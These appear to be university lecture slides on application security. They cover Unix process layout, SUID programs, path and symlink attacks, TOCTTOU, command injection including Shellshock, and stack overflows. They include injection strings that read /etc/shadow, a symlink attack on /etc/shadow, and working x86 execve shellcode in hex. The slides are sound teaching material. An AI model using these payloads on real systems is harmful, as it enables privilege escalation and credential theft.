
Application Insecurity

CSE 545 – Software Security 
Spring 2018 

Adam Doupé 
Arizona State University 
http://adamdoupe.com

Content of some slides provided by Giovanni Vigna of UCSB, with approval



Adam Doupé, Software Security

Program Loading and Execution
• When a program is invoked, the operating system 

creates a process to execute the program 
• The ELF file is parsed and parts are copied into 

memory 
– In Linux /proc/<pid>/maps shows the memory layout of a 

process 
• Relocation of objects and reference resolution is 

performed 
• The instruction pointer is set to the location 

specified as the start address 
• Execution begins
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Process Memory Layout

3GB Program

1GB Kernel

x86

0x00000000

0xffffffffff

0xbfffffff
0xc0000000



Process Structure
• Environment/Argument section 

– Used for environment data 
– Used for the command line data 

• Stack section 
– Used for local parameters 
– Used for saving the processor status 

• Memory-mapping segment 
– Used for shared libraries 

• Heap section 
– Used for dynamically allocated data 

• Data section (Static/global vars) 
– Initialized variables (.data) 
– Uninitialized variables (.bss) 

• Code/Text section (.text) 
– Marked read-only 
– Modifications causes segfaults

Code (.text)
Data (.data)

Stack

Bottom of memory (0x00800000)

Top of memory (0xBFFFFFFF)

Heap

Env/Argv Strings
Env/Argv Pointers
Argc

Data (.bss)

Shared Libraries
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Understanding UNIX Processes
• Each process has a real UID/GID, an effective UID/GID, 

and a saved UID/GID  
– Real IDs: defines the user who started/owns the process 
– Effective IDs: used to determine if the process is "allowed to 

do things" 
– Saved IDs: used to drop and re-gain privileges 

• If a program file has the SUID bit set, when a process 
executes the program the process’ effective UID/GID are 
changed to the ones of the program file owner 

[adamd@ragnuk]$ ls -la /usr/bin/passwd  
-rwsr-xr-x. 1 root root 30768 Feb 22  2012 /usr/bin/passwd 

[adamd@ragnuk]$ ls -la /usr/bin/chsh 
-rws--x--x. 1 root root 20056 Oct 15  2014 /usr/bin/chsh
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Disassembling

• Disassembling is the process of extracting 
the assembly representation of a program 
by analyzing its binary representation 

• Disassemblers can be: 
– Linear: linearly parse the instructions 
– Recursive: attempt to follow the flow of the 

program
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Radare

• Radare is a program analysis tool 
– http://rada.re/r/  
– Supports reversing and vulnerability analysis 
– Disassembling of binaries 
– Forensic analysis  

• Supports scripting 
• Supports collaborative analysis 
• Free
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IDA Pro

• IDA Pro is the state-of-the-art tool for reversing 
– https://www.hex-rays.com/products/ida/ 

• It supports disassembling of binary programs 
• Supports decompilation (Hex-Rays decompiler) 
• Can be integrated with gdb and other 

debuggers 
• It is a commercial product (expensive) 

– A limited version is available for free
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Attacking UNIX Systems

• Remote attacks against a network service 
• Remote attacks against the operating 

system 
• Remote attacks against a browser 
• Local attacks against SUID applications 
• Local attacks against the operating system 
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Attacking UNIX Applications
• 99% of the local vulnerabilities in UNIX systems exploit 

SUID-root programs to obtain root privileges 
– 1% of the attacks target the operating system kernel itself 

• Attacking SUID applications is based on 
– Inputs 

• Startup: command line, environment 
• During execution: dynamic-linked objects, file input, socket input 

– Interaction with the environment 
• File system: creation of files, access to files 
• Processes: signals, invocation of other commands 

• Sometimes defining the boundaries of an application is 
not easy
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Attack Classes

• File access attacks 
– Path attacks 
– TOCTTOU 
– File handler reuse 

• Command injection 
• Memory Corruption 

– Stack corruption  
– Heap corruption 
– Format string exploitation
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File Access Attacks

• Access to files in the file system is 
performed by using path strings 

• If an attacker has a way to control how or 
when a privileged application builds a path 
string, it can lure the application into 
violating the security policy of the system
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The Dot-Dot Attack
• An application builds a path by concatenating a 

path prefix with values provided by the user (the 
attacker) 
path = strncat("/<initial path>/", 
user_file, free_size);
file = open(path, O_RDWR);

• The user (attacker) provides a filename containing 
a number of “..” that allow for escaping from the 
directory and access any file in the file system 

• Also called: directory traversal attack



Adam Doupé, Software Security

Lessons Learned

• Input provided by the user should be 
heavily sanitized before being used in 
creating a path 

• chroot() can be used to confine an 
application to a subset of the file system
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PATH and HOME Attacks
• The PATH environment variable determines how the shell 

searches for commands 
• If an application invokes commands without specifying the 

complete path, it is possible to induce an application to 
execute a different version (controlled by the attacker) of the 
external command 
– execlp() and execvp() use the shell PATH variable to locate 

applications 
• The HOME environment variable determines how the home 

directory path is expanded by the shell 
• If an application uses a home-relative path   

(e.g., ~/myfile.txt), an attacker can modify his/her $HOME 
variable to control the execution of commands (or the access 
to files)
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Lessons Learned

• Absolute paths should always be used 
when executing external commands 

• Home-relative paths should never be used
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Link Attacks

• Some applications check the path to a file (e.g., 
to verify that the file is under a certain directory) 
but not the nature of the file 

• By creating symbolic links an attacker can force 
an application to access files outside the 
intended path 

• When an application creates a temporary file it 
might not check for its properties in the 
assumption that the file has been created with 
the correct privileges 
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The dtappgather Attack

• The dtappgather utility was shipped with 
the Common Desktop Environment (CDE) 

• dtappgather uses a directory with 
permissions 0555 to create temporary files 
used by each login session 

• /var/dt/appconfig/appmanager/
generic-display-0 is not checked for 
existence prior to the opening of the file
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The dtappgather Attack
% ls -l /etc/shadow
-r-------- 1 root other 1500 Dec 29 18:21 /
etc/shadow

% ln -s /etc/shadow /var/dt/appconfig/
appmanager/generic-display-0
% dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/
generic-display-0: File exists
% ls -l /etc/shadow
-r-xr-xr-x 1 user users 1500 Dec 29 18:21 /
etc/shadow

19
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Lessons Learned

• The type of file being referenced by a path 
should be checked 
– For unexpected types 
– For symbolic links 

• Temporary files should not be predictable 
– Use mkstemp()
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TOCTTOU Attacks
• Attacker may race against the application by 

exploiting the gap between testing and accessing 
the file (time-of-check-to-time-of-use) 
– Time-Of-Check (t1): validity of assumption A on entity E 

is checked  
– Time-Of-Use (t2): E is used, assuming A is still valid 
– Time-Of-Attack (t3): assumption A is invalidated 
– t1 < t3 < t2  

• Data race condition 
– Conflicting accesses of multiple processes to shared 

data 
– At least one of them is a write access
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TOCTTOU Example

• The access() system call returns an estimation 
of the access rights of the user specified by the 
real UID 

• The open() system call is executed using the 
effective UID 

if (access(filename, W_OK) == 0) {
if ((fd = open(filename, O_WRONLY)) < 0) {
perror(filename);
return -1;
}

   write(fd, buf, count);
}
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Lessons Learned

• Use versions of system calls that use file 
descriptors instead of file path names 

• Perform file descriptor binding first 
• For temp file use mkstemp(), which creates 

a file AND opens it
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File Handler Reuse

• SUID applications open files to perform 
their tasks 

• Sometimes they fork external processes 
• If the close-on-exec flag is not set, the new 

process will inherit the open file descriptors 
of the original program 

• The open files might provide access to 
security-sensitive information
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The chpass Attack
• The "chpass" command on OpenBSD systems allows 

unprivileged users to edit database information associated with 
their account 

• chpass creates a temporary copy of the password database 
– spawning an editor to display and modify user account information 
– committing the information into the temporary password file copy, 

which is then used to rebuild the password database  
• Using an escape-to-shell feature of the vi editor it was possible 

to obtain a shell with an open file descriptor to the copy file 
• Arbitrary modifications will be merged in the original passwd 

file
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Lessons Learned

• Make sure that no open file descriptors are 
inherited by forked programs
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Command Injection

• Applications invoke external commands to 
carry out specific tasks 

• system(<string>) executes a command 
specified in a string by calling
– /bin/sh -c <string> 

• popen() opens a process by creating a pipe, 
forking, and invoking the shell as in system() 

• If the user can control the string passed to 
these functions, it can inject additional 
commands
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A Simple Example
int main(int argc, char *argv[]) {
  char cmd[1024];

  snprintf(cmd, 1024, "cat /var/log/%s", argv[1]);
  cmd[1023] = '\0';

  return system(cmd);
}

% ./prog "foo; cat /etc/shadow"
/var/log/foo: file not found
root:$1$LtWqGee9$jLrc8CWVMx6oAA8WKzS5Z1:16661:0:99999:7:::
daemon:*:16652:0:99999:7::: 28
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A Real Example: Shellshock
• On September 2014, a new bug in how bash 

processes its environment variable was disclosed 
• The bash program can pass its environment to 

other instances of bash 
• In addition to variables a bash instance can pass to 

another instance one or more function definitions 
• This is accomplished by setting environment 

variables whose value start with ‘()’ followed by a 
function definition 

• The function definition is then executed by the 
interpreter to create the function  	
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A Real Example: Shellshock
• By appending commands to the function definition, 

it is possible to execute arbitrary code 
• By passing as a command the string: 

foo() { :;}; cat /etc/shadow 
• The command will be put in the environment 

variable and interpreted, resulting in the injected 
command executed 

• Also, CGI web applications pass arguments 
through environment variables 
– Can execute arbitrary code through a web request! 

• Similar attack on limited access ssh
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Shellshock Example

31https://blog.cloudflare.com/inside-shellshock/
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\


If the variable gets passed into bash by the web server, the Shellshock 
problem occurs!

32https://blog.cloudflare.com/inside-shellshock/

Shellshock Example
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Lessons Learned

• Invoking commands with system() and 
popen() is dangerous 

• Input from the user should always be 
sanitized 
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Attack Classes

• File access attacks 
– Path attacks 
– TOCTTOU 
– File handler reuse 

• Command injection 
• Memory Corruption 

– Stack corruption  
– Heap corruption 
– Format string exploitation
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Overflows/Overwrites
• The lack of boundary checking is one of the most common 

mistakes in C/C++ applications 
• Overflows are one of the most popular type of attacks 

– Architecture/OS version dependent 
– Can be exploited both locally and remotely 
– Can modify both the data and the control flow of an application 

• Recent tools have made the process of exploiting overflows 
easier if not completely automatic 

• Much research has been devoted to finding vulnerabilities, 
designing prevention techniques, and developing detection 
mechanisms 
– Some of these mechanisms have found their way to mainstream 

operating system (non-executable stack, layout randomization)
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The Stack
• Stack is essentially scratch memory for functions 

– Used in MIPS, ARM, x86, and x86-64 processors 
• Starts at high memory addresses and grows down 
• Functions are free to push registers or values onto the 

stack, or pop values from the stack into registers 
• The assembly language supports this on x86 

– %esp holds the address of the top of the stack
– push %eax decrements the stack pointer (%esp) then stores 

the value in %eax to the location pointed to by the stack 
pointer

– pop %eax stores the value at the location pointed to by the 
stack pointer into %eax, then increments the stack pointer 
(%esp)

36
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Function Frame

• Functions would like to use the stack to allocate 
space for their local variables 

• Can we use the stack pointer for this? 
– Yes, however stack pointer can change throughout 

program execution 
• Frame pointer points to the start of the 

function's frame on the stack 
– Each local variable will be (different) offsets of the 

frame pointer 
– In x86, frame pointer is called the base pointer, and 

is stored in %ebp

43
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int main()
{ 
  int a;
  int b;
  float c;  
  a = 10;   
  b = 100;   
  c = 10.45;   
  a = a + b;   
  return 0;
}

44

a @ %ebp – 0xc
b @ %ebp – 0x8
c @ %ebp – 0x4

mov %esp,%ebp
sub $0x10,%esp
movl $0xa,-0xc(%ebp)
movl $0x64,-0x8(%ebp)
mov $0x41273333,%eax
mov %eax,-0x4(%ebp)
mov -0x8(%ebp),%eax
add %eax,-0xc(%ebp)

a @ %ebp + A
b @ %ebp + B
c @ %ebp + C

mem[%ebp+A] = 10
mem[%ebp+B] = 100
mem[%ebp+C] = 10.45
mem[%ebp+A] = 
mem[%ebp+A] + 
mem[%ebp+B]
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Function Frames

• Allows us to allocate memory for the function's 
local variables 

• However, when considering calling a function, 
what other information do we need? 
– Return value 
– Parameters 
– Our frame pointer 
– Return address (where to start program execution 

when function returns) 
– Local variables 
– Temporary variables

61
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Calling Convention

• All of the previous information must be stored 
on the stack in order to call the function 

• Who should store that information? 
– Caller? 
– Callee? 

• Thus, we need to define a convention of who 
pushes/stores what values on the stack to call 
a function 
– Varies based on processor, operating system, 

compiler, or type of call

62
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x86 Linux Calling Convention (cdecl)

• Caller (in this order) 
– Pushes arguments onto the stack (in right to 

left order) 
– Pushes address of instruction after call 

• Callee 
– Pushes previous frame pointer onto stack 
– Creates space on stack for local variables 
– Ensures that stack is consistent on return 
– Return value in %eax register

63
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int callee(int a, int b)
{   
  return a + b + 1;
}

int main()
{   
  int a;   
  a = callee(10, 40);
  return a;
}

64

callee:
  push %ebp
  mov %esp,%ebp
  mov 0xc(%ebp),%eax
  mov 0x8(%ebp),%edx
  lea (%edx,%eax,1),%eax
  add $0x1,%eax
  pop %ebp
  ret
main:
  push %ebp
  mov %esp,%ebp
  sub $0x18,%esp
  movl $0x28,0x4(%esp)
  movl $0xa,(%esp)
  call callee
  mov %eax,-0x4(%ebp)
  mov -0x4(%ebp),%eax
  leave
  ret

prologue

epilogue

prologue

epilogue
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Stack Overflows
• Data is copied without checking boundaries 
• Data "overflows" a pre-allocated buffer and overwrites the 

return address (or other parts of the frame) 
• Normally this causes a segmentation fault 
• If correctly crafted, it is possible overwrite the return 

address with a user-defined value 
• It is possible to cause a jump to user-defined code (e.g., 

code that invokes a shell) 
• The code may be part of the overflowing data (or not) 
• The code will be executed with the privileges of the 

running program
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Implications of Cdecl 

• Saved EBP and saved EIP are stored on 
the stack 

• What prevents a program/function from 
writing/changing those values? 
– What would happen if they did?

114
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#include <string.h>
#include <stdio.h>
void mycpy(char* str)
{   
  char foo[4];   
  strcpy(foo, str);
}
int main()
{   
  mycpy("asu cse 340 fall 
2015 rocks!");   
  printf("After");   
  return 0;
}

115

mycpy:
  push %ebp
  mov %esp,%ebp
  sub $0x28,%esp
  mov 0x8(%ebp),%eax
  mov %eax,0x4(%esp)
  lea -0xc(%ebp),%eax
  mov %eax,(%esp)
  call strcpy
  leave
  ret
main:
  push %ebp
  mov %esp,%ebp
  sub $0x10,%esp
  movl $0x8048504,(%esp)
  call mycpy
  mov $0x8048517,%eax
  mov %eax,(%esp)
  call printf
  mov $0x0,%eax
  leave
  ret
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#include <string.h>
#include <stdio.h>
void mycpy(char* str)
{   
  char foo[4];   
  strcpy(foo, str);
}
int main()
{   
  mycpy("asu cse 340 fall 
2015 rocks!");   
  printf("After");   
  return 0;
}

153

[adamd@ragnuk examples]$ gcc 
-Wall -m32 overflow_example.c
[adamd@ragnuk examples]$ ./
a.out Segmentation fault (core 
dumped)
[adamd@ragnuk examples]$ 
gdb ./a.out
(gdb) r
Starting program: a.out
Program received signal 
SIGSEGV, Segmentation 
fault.0x31303220 in ?? ()
(gdb) info registers
eax   0xffffd1fc  -11780
ecx   0x0         0
edx   0x8048521  134513953
ebx   0x908ff4  9474036
esp   0xffffd210  0xffffd210
ebp   0x6c6c6166  0x6c6c6166
esi   0x0         0
edi   0x0         0
eip   0x31303220  
0x31303220e
...
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“Overflowing” Functions 

• gets() -- note that data cannot contain 
newlines or EOFs 

• strcpy()/strcat()
• sprintf()/vsprintf()
• scanf()/sscanf()/fscanf()
• … and also custom input routines



Adam Doupé, Software Security

How to Exploit a Stack Overflow

• Different variations to accommodate different 
architectures 
– Assembly instructions 
– Operating system calls 
– Alignment 

• Linux buffer overflows for 32-bit architectures 
explained in the paper “Smashing The Stack 
For Fun And Profit” by Aleph One, published on 
Phrack Magazine, 49(7), 1996.
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Shellcode Goal

• We want to execute arbitrary code in the 
vulnerable application's process space 
– This code has the same privileges as the 

vulnerable application 
• Shellcode is the standard term for this type 

of code  
– Called shellcode because classic example is 

code to execute /bin/sh 
– Really just assembly code to perform specific 

purpose

156
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C-version of Shellcode
void main() {
   char* name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
   exit(0);
}

• System calls in assembly are invoked by saving 
parameters either on the stack or in registers 
and then calling the software interrupt (0x80 in 
Linux)
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https://chromium.googlesource.com
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System Calls

• int execve (char* filename,  
            char* argv[],  
            char* envp[])
– Value 0xb in eax (index in syscall table) 
– Address of the program name in ebx (“/bin/sh”) 
– Address of the null-terminated argv vector in ecx 

(addr of “/bin/sh”, NULL) 
– Address of the null-terminated envp vector in edx 

(e.g., NULL) 
– Call int 0x80 (note: sysenter/sysexit is the more 

optimized way to invoke system calls)   
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System Calls

• void exit(int status)
– Value 1 in eax 
– Exit code in ebx 
– Call int 0x80
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The Shell Code

• We need the null-terminated string "/bin/
sh" somewhere in memory (filename 
parameter) 

• We need the address of the string "/bin/sh" 
somewhere in memory followed by a NULL 
pointer (argv parameter)  

• Have the address of a NULL long word 
somewhere in memory (envp parameter)
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Invoking the System Calls
• Copy 0xb into the eax register 
• Copy the address of the string "/bin/sh" into the ebx 

register 
• Copy the address of the address of "/bin/sh" into 

the ecx register  
• Copy the address of the null word into the edx 

register 
• Execute the int 0x80 instruction 
• Copy 0x1 into the eax register 
• Copy 0x0 into the ebx register 
• Execute the int 0x80 instruction
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Preliminary Shellcode
.data
sh:

.string "/bin/sh"

.int 0
.text
.globl main
main:

movl $11,%eax
movl $sh,%ebx
push $0
push $sh
movl %esp,%ecx
movl $0,%edx
int   $0x80
movl  $0x1,%eax
movl $0x0,%ebx 
int $0x80

[ragnuk] $ gcc –m32 
preliminary_shellcode.s
[ragnuk] $./a.out
sh-41.$
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Preliminary Shellcode
$ gcc -m32 preliminary_shellcode.s -o prelim
$ objdump -D prelim

...
08048394 <main>: 
8048394:       b8 0b 00 00 00          mov    $0xb,%eax 
8048399:       bb 1c 96 04 08          mov    $0x804961c,%ebx 
804839e:       6a 00                   push   $0x0 
80483a0:       68 1c 96 04 08          push   $0x804961c 
80483a5:       89 e1                   mov    %esp,%ecx 
80483a7:       ba 00 00 00 00          mov    $0x0,%edx 
80483ac:       cd 80                   int    $0x80 
80483ae:       b8 01 00 00 00          mov    $0x1,%eax 
80483b3:       bb 00 00 00 00          mov    $0x0,%ebx 
80483b8:       cd 80                   int    $0x80

164
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Testing the Shell Code
void main()
{
  char shellcode[] = "\xb8\x0b\x00\x00\x00\xbb\x1c\x96"

          "\x04\x08\x6a\x00\x68\x1c\x96\x04"
                     "\xcd\x80\xb8\x01\x00\x00\x00\xbb"                 
                     "\x00\x00\x00\x00\xcd\x80";
  int (*shell)();
  shell=shellcode;
  shell();
}
$ gcc -m32 -z execstack test_shellcode.c
$ ./a.out
$
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Preliminary Shellcode
$ gcc -m32 preliminary_shellcode.s -o prelim
$ objdump -D prelim

...
08048394 <main>: 
8048394:       b8 0b 00 00 00          mov    $0xb,%eax 
8048399:       bb 1c 96 04 08          mov    $0x804961c,
%ebx 
804839e:       6a 00                   push   $0x0 
80483a0:       68 1c 96 04 08          push   $0x804961c 
80483a5:       89 e1                   mov    %esp,%ecx 
80483a7:       ba 00 00 00 00          mov    $0x0,%edx 
80483ac:       cd 80                   int    $0x80 
80483ae:       b8 01 00 00 00          mov    $0x1,%eax 
80483b3:       bb 00 00 00 00          mov    $0x0,%ebx 
80483b8:       cd 80                   int    $0x80

166



Adam Doupé, Software Security

Position Independent Shellcode
.text
.globl main
main:

movl $11,%eax
# push /sh\0
push $0x0068732F
# push /bin
push $0x6E69622F
movl %esp,%ebx
push $0
push %ebx
mov %esp,%ecx
movl $0,%edx
# execve(char* filename, char** argv, char** envp)
int $0x80

movl $1,%eax
     movl $0,%ebx

int $0x80
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[ragnuk] $ gcc –m32 
position_independent_shellcode.s
[ragnuk] $./a.out
sh-41.$
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Position Independent Shellcode
$ gcc -m32 -o position_independent 
position_independent_shellcode.s
$ objdump –D ./position_independent
...
08048394 <main>: 
8048394:       b8 0b 00 00 00          mov    $0xb,%eax 
8048399:       68 2f 73 68 00          push   $0x68732f 
804839e:       68 2f 62 69 6e          push   $0x6e69622f 
80483a3:       89 e3                   mov    %esp,%ebx 
80483a5:       6a 00                   push   $0x0 
80483a7:       53                      push   %ebx 
80483a8:       89 e1                   mov    %esp,%ecx 
80483aa:       ba 00 00 00 00          mov    $0x0,%edx 
80483af:       cd 80                   int    $0x80 
80483b1:       b8 01 00 00 00          mov    $0x1,%eax 
80483b6:       bb 00 00 00 00          mov    $0x0,%ebx 
80483bb:       cd 80                   int    $0x80
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Testing the Shell Code
void main()
{
 char* shellcode = "\xb8\x0b\x00\x00\x00\x68\x2f\x73"                                
                   "\x68\x00\x68\x2f\x62\x69\x6e\x89"                     
                   "\xe3\x6a\x00\x53\x89\xe1\xba\x00"                     
                   "\x00\x00\x00\xcd\x80\xb8\x01\x00"                     
                   "\x00\x00\xbb\x00\x00\x00\x00\xcd"                  
                   "\x80";  
  int (*shell)();
  shell=shellcode;
  shell();
}
$ gcc -m32 -z execstack test_shellcode.c
$ ./a.out
sh-4.1$
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No Null No Newline Shellcode
.text
.globl main
main:

xor %eax,%eax
push %eax 
# push n/sh
push $0x68732F6E
# push //bi
push $0x69622F2F 
movl %esp,%ebx
push %eax
push %ebx
mov %esp, %ecx
movl %eax, %edx
mov $11,%al
# execve(char* filename, char** argv, char** envp)
int $0x80
xor %eax,%eax
mov $1,%al
xor %ebx,%ebx
int $0x80
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[ragnuk] $ gcc –m32 no_null_no_newline_shellcode.s
[ragnuk] $./a.out
sh-41.$
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